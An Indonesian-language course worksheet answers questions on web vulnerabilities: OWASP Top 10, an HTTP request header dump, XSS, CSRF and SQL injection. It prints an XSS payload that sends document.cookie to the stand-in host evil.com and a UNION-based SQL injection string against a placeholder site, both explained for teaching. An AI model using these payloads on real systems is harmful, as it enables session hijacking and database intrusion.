##### Web Apps Vuln 1. Apakah yang dimaksud dengan celah pada aplikasi web (Web Apps Vulnerable)? Jawab : Keberadaan aplikasi yang memiliki tingkat keamanan rendah dapat memiliki celah pada aplikasi web yang dapat membahayakan banyak hal penting. Misalnya, data finansial, layanan kesehatan, pertahanan, energi, bahkan infrastruktur krusial. Apalagi, saat ini infrastruktur digital semakin kompleks dan semakin terhubung, menjadikan keamanan aplikasi berbasis web sebagai perhatian utama. Tujuan proyek OWASP Top10 adalah meningkatkan kesadaran tentang keamanan aplikasi dengan mengidentifikasi beberapa risiko kritikal yang dihadapi organisasi, dan untuk mendidik pengembang, desainer, arsitek, manajer, dan organisasi tentang konsekuensi kelemahan keamanan aplikasi web yang paling penting. Jadi, celah pada aplikasi web ialah memanfaatkan kelemahan keamanan aplikasi web bagi attacker yang dapat menyebabkan resiko resiko pada aplikasi web yang dilakukan ekplotasi attacker. Referensi : https://www.owasp.org/images/b/b0/OWASP_Top_10_-_2010_FINAL_Indonesia_v1.0.1.pdf 2. Jelaskan beberapa exploitasi yang dapat terjadi pada Web Apps! Jawab : 1. Injection. Dalam praktik penggunaan SQL, OS, dan LDAP, injeksi adalah hal yang sangat riskan untuk terjadi. Injeksi biasanya dilakukan dengan memasukkan data yang tidak terpercaya ke dalam interpreter sebagai bagian dari command atau query. Data yang dimasukkan oleh injektor dapat menipu interpreter untuk mengeksekusi perintah tertentu atau mengakses data rahasia tanpa izin. 2. Broken Authentication and Session Management. Fungsi pada aplikasi berbasis web yang berkaitan dengan autentifikasi dan manajemen sesi seringkali tidak terimplementasikan dengan baik. Apabila hal ini terjadi di level parah, penyerang sistem akan dengan mudah mencuri dan memanfaatkan password serta data pribadi lainnya yang akan merugikan pengguna. 3. Cross-Site Scripting (XSS). Kelemahan dalam XSS terjadi ketika sebuah aplikasi mengakses data yang tidak terpercaya dan mengirimkannya lewat web tanpa ada konfirmasi validasi sebagaimana mestinya. Kejadian XSS akan memberikan keleluasaan bagi penyerang sistem untuk menggunakan script dari browser guna mengakses web tanpa izin. Misalnya mengarahkan ke website palsu atau bahkan melakukan redirect ke situs berbahaya. 4. Insecure Direct Object References. Objek langsung di sini berkaitan ketika developer mengekspos referensi ke dalam implementasi objek internal. Misalnya ke file, direktori, atau database key. Tanpa memiliki accsess control check dan perlindungan lain, penyerang dapat memanipulasi referensi ini untuk mengakses data rahasia. 5. Security Misconfiguration. Selama ini, sistem keamanan yang bagus membutuhkan konfigurasi yang terjamin guna mengakses aplikasi, framework, web server, aplikasi server, database server, hingga platform. Sebab, setingan default seringkali tidak aman. Selain itu, pembaruan rutin terhadap software pun menjadi sebuah keharusan. 6. Sensitive Data Exposure. Banyak aplikasi berbasis web yang belum melindungi data sensitif secara layak. Misalnya data kartu kredit hingga data autentifikasi. Penyerang sistem sangat mungkin mencuri atau memodifikasi data bersistem pengamanan lemah tersebut untuk melakukan tindakan penipuan, pencurian identitas, atau kriminalitas lain. 7. Missing Function Level Access Control. Mayoritas aplikasi berbasis web akan memverifikasi fungsi akses sebelum membuat fungsi tersebut ada di user interface. Faktanya, aplikasi juga perlu melakukan kontrol akses yang sama ke server tiap kali fungsi itu dijalankan. Apabila permintaan tidak terverifikasi, maka penyerang bisa dengan mudah mengakses fungsi privat tanpa izin. 8. Cross-Site Request Forgery (CSRF). Cara kerja CSRF adalah dengan memaksa masuk ke browser pengguna yang kemudian mengirimkan permintaan HTTP, termasuk cookies, serta berbagai informasi rahasia yang tersimpan di browser, ke aplikasi web gadungan. Hal ini akan membuat pengguna seolah-olah mengakses aplikasi tersebut secara langsung, padahal tidak. 9. Using Known Vulnerable Components. Komponen dasar seperti database, famework, dan berbagai modul software kebanyakan dijalankan dengan hak penuh. Apabila komponen yang riskan dieksploitasi, bisa menyebabkan kehilangan data dan pengambil-alihan server. 10. Unvalidated Redirects and Forwards. Aplikasi berbasis web yang digunakan user seringkali melakukan redirect dan forward ke halaman lain atau bahkan website lain. Tindakan semacam ini, tanpa validasi yang benar, dapat mengarahkan user ke laman phishing, malware, maupun menggunakannya untuk mengakses laman berbahaya lain. 11. Brute-force Attack. Brute-force attack merupakan sebuah teknik serangan terhadap sebuah sistem keamanan komputer dengan melakukan percobaan terhadap semua kemungkinan kunci. Pendekatan ini pada awalnya merujuk pada sebuah program komputer yang mengandalkan kekuatan pemrosesan komputer dibandingkan kecerdasan manusia. Teknik ini paling banyak digunakan untuk memecahkan password, kunci, kode atau kombinasi. Cara kerja metode ini sederhana yaitu mencoba semua kombinasi yang mungkin. Sebuah password dapat dibongkar dengan menggunakan program yang disebut sebagai password cracker. Program password cracker adalah program yang mencoba membuka sebuah password yang telah terenkripsi dengan menggunakan sebuah algoritma tertentu dengan cara mencoba semua kemungkinan. Teknik sederhana ini memiliki efektivitas yang luar biasa, dan tidak ada satu pun sistem yang aman dari serangan ini, meski teknik ini memakan waktu yang sangat lama, khususnya untuk password yang rumit. Referensi : https://www.owasp.org/images/b/b0/OWASP_Top_10_-_2010_FINAL_Indonesia_v1.0.1.pdf https://blog.gamatechno.com/10-celah-keamanan-aplikasi-berbasis-web/ 3. Jelaskan maksud dari pesan HTTP pada paket data di bawah berikut! ``` GET /test/index.php HTTP/1.1 Host: 35.240.164.125 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/* ;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://35.240.164.125/test/login.php Connection: keep-alive Cookie: security=low; PHPSESSID=p00u0h65mngqicaitmrnaimgk0 Upgrade-Insecure-Requests: 1 ``` Jawab : Requerst yang di lakukan metode GET pada HTTP ditujukan untuk mengambil (get) data dari server utama yang digunakan untuk menerima html, gambar, JavaScript, CSS, dll. Menuju PATH /test/index.php protokol berisi "HTTP" dan versi, yang biasanya 1.1 di browser modern. Dengan host yang di akses 35.240.164.125, User-Agent menyediakan informasi pada versi browser dan Sistem Operasi yang Anda gunakan Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0. accept untuk menentukan jenis media tertentu yang dapat diterima untuk respons. Menggunakan bahasa english, ccept-Encoding" memberitahu server jika browser Anda dapat menerima output terkompresi seperti gzip, dan di cookie sangat penting, dan data yang sensitif. Cookie hanya menyimpan data bahwa situs tersebut dapat memeriksa bahwa Anda memiliki dan melihat apakah Anda pernah ke sana sebelumnya, jika sudah maka cek untuk melihat apakah pengguna dan kata sandi benar kemudian login Anda.dijelaskan kemanan pada website ini sangat rendah,. Referensi : https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html https://code.tutsplus.com/id/tutorials/http-headers-for-dummies--net-8039 ##### XSS 1. Jelaskan apa yang dimaksud dengan XSS attack, sebutkan ciri - ciri serangannya! Note *tambahan : berikan secara visual proses serangan tersebut Jawab : XSS merupakan kependekan yang digunakan untuk istilah cross site scripting. XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya. XSS metode menyerang keamanan website dengan menambahkan script pada website website memalui form. Kalau kita mengisi suatu form kita dapat memasukkan tag script ke dalam form. Mungkin kalau tag script akan diblok oleh aplikasi, tetapi masih ada tagtag lain yang kita mungkin tidak pikirkan misalnya onload, onclick, windows.location dan lain-lain. penyerang mengambil langkah-langkah dengan mengikuti pola tertentu. 1. Langkah Pertama : Penyerang melakukan pengamatan untuk mencari webweb yang memiliki kelemahan Cross Site Scripting. 2. Langkah Kedua : Sang penyerang mencari tahu apakah web tersebut menerbitkan informasi yang dapat digunakan untuk melakukan pencurian infomasi lebih lanjut. Informasi tersebut biasanya berupa cookie. Langkah kedua ini tidak selalu dijalankan. 3. Langkah Ketiga : Sang penyerang membujuk korban untuk mengikuti sebuah link yang mengandung kode, ditujukan untuk mendapatkan informasi yang telah disebutkan sebelumnya. Kemampuan Social Engineering dari sang penyerang diuji disini. Setelah mendapatkan informasi tersebut, sang penyerang melakukan langkah terakhir, pencurian maupun pengubahan informasi vital. Sebuah penyedia layanan message board, A, memiliki kelemahan Cross Site Scripting. Web tersebut juga menghasilkan cookie. Cookie tersebut bertujuan agar pengguna dapat membuka jendela browser baru tanpa memasukkan user name dan password lagi. B, mencoba untuk mengeksploitasi kelemahan ini, meletakkan sebuah link yang mengandung kode yang “jahat” pada message board tersebut. C, seorang pengguna, tertarik pada link tersebut menekan link tersebut. Tanpa disadari C, cookie yang terdapat pada komputernya telah dikirimkan ke komputer B. Kini B dapat mengakses message board sebagai C hanya dengan menggantikan cookienya dengan cookie yang ia dapatkan dari C. Referensi : http://menlukmen.blogspot.com/2014/07/xss-pengenalan.html https://id.wikipedia.org/wiki/XSS 2. Pada serangan XSS atau Cross Site Scripting, terdapat script yang dapat dilakukan serangan, berikan penjelasan pada script xss attack injection berikut: ``` <script>alert(document.cookie)</script> ``` ``` <script>document.write('<img src="http://evil.com/?'+document.cookie+'">');</script> ``` Jawab : document.cookie yaitu sebuah perintah untuk melihat cookie yang digunakan browser. alert() yaitu petintah untuk menampilkan dialog peringatan dengan sebuah teks. Cookie adalah data yang sensitif. Cookie hanya menyimpan data bahwa situs tersebut dapat memeriksa bahwa Anda memiliki dan melihat apakah Anda pernah ke sana sebelumnya, jika sudah maka cek untuk melihat apakah pengguna dan kata sandi benar kemudian login Anda. Penyerang dapat mencuri informasi dan menggunakannya untuk meniru informasi pengguna. Selanjutnya meneruskan cookie yang diambil dari halaman pengguna yang ditargetkan ke halaman http://evil.com dalam format gambar yang di luar situs di mana mereka dapat ditulis dan disimpan, dengan fungsi document.write0 di gunakan untuk menampilkan data langsung saat halaman web selesai di muat (loaded) atau di eksekusi pada event tertentu misalnya saat tombol di klik. ##### CSRF & SQL Injection 1. Jelaskan proses kerja dari serangan Cross-Site Request Forgery (CSRF). Note: *tambahan, berikan secara visual proses serangan tersebut Jawab : Cross-site Request Forgery (CSRF) atau bisa disebut dengan one-click attack adalah sebuah serangan yang menggunakan injeksi script baik itu berupa kode javascript, link, atau gambar dengan memanfaatkan token autentikasi. Disebut oneclick attack karena metode ini hanya perlu pemicu dari user dan pemicunya bisa berupa link yang sudah dimaipulasi untuk mengeksekusi perintah. Nah secara umum CSRF ini bekerja dengan memanfaatkan token autentikasi korbannya dengan tujuan melakukan suatu request yang tidak dinginkan oleh korban. • • • • Tahap pertama : client dan server akan mengkonfirmasi session id dari suatu halaman web tertentu. Tahap kedua : penyerang mengirimkan pesan yang dimana pesan tersebut seolah-olah adalah pesan konfirmasi dari halaman web contoh.com. Pesan yang dikirimkan berupa link yang di dalamnya sudah diinjeksi perintah untuk mengubah password dari suatu akun pada website contoh.com Setelah pesan tersebut terkirim ke korban, selanjutnya korban melakukan klik terhadap link karena mengira pesan tersebut memang benar dari website contoh.com. Password dari akun korban pun secara otomatis berubah pada halaman web contoh.com. Ketika korban keluar (logout), maka korban sudah tidak bisa lagi login dengan password yang sebelumnya karena password tersebut sudah diubah oleh penyerang. Referensi : https://www.kodinggen.com/apa-itu-csrf-bagaimana-cara-kerjanya-dan-tipspencegahannya/ https://pdfs.semanticscholar.org/ca59/ee34e63068b68472a878ecdfb982b00fe7ba.pdf 2. Jelaskan proses serangan pada SQL injection! Note: *tambahan, berikan secara visual proses serangan tersebut Jawab : Structured Query Language (SQL) digunakan untuk melakukan query, mengoperasikan, dan mengelola sistem database seperti SQL server, Oracle, atau MySQL. Penggunaan umum SQL konsisten di semua sistem databatase, namun ada detail perbedaan tertentu yang khusus untuk setiap sistem. SQL Injection adalah teknik yang menyalahgunakan celah keamanan yang ada pada lapisan basis data sebuah aplikasi. Celah ini terjadi ketika input dari pengguna tidak disaring secara benar, contohnya adalah kolom username yang seharusnya hanya diisi dengan huruf atau angka tapi malah diisi dengan karakter lain (seperti: – = ’) sehingga penyerang menggunakan celah tersebut dengan cara memasukan query dari SQL. Injection juga sangat mudah dilakukan karena masih banyak web programmer yang masih kurang “aware” terhadapnya. SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database bahkan pula dapat mematikannya. Referensi : https://www.i-3.co.id/2016/12/28/cara-mudah-untuk-mengerti-sql-injection/ 3. Pada serangan SQL injection, beberapa payload yang di lakukan oleh attacker *di bawah. berikan penjelasan mengenai payload SQL Injection tersebut beserta dengan SQL query statement: ``` http://websitetarget.com/?id=%27+union+all+select+system_user%28%29%2Cu ser%28%29+%23&Submit=Submit# ``` ``` ' union all select system_user(),user() # Jawab : SELECT user(); SELECT current_user; Perintah di atas akan menampilkan nama pengguna basis data yang mengeksekusi query yang berasal dari skrip cgi. Root menjalankan query ini, yang sangat berbahaya. Karena anda selalu dapat drop tabel atau bahkan database. Perintah ini juga akan menggabungkan dua query pemilihan dan itu akan memungkinkan juga menggandakan nilai dalam hasil, karena kita telah menggunakan union all operator. Seperti kita dapat melihat pengguna basis data saat ini dan pengguna sistem juga adalah root@localhost.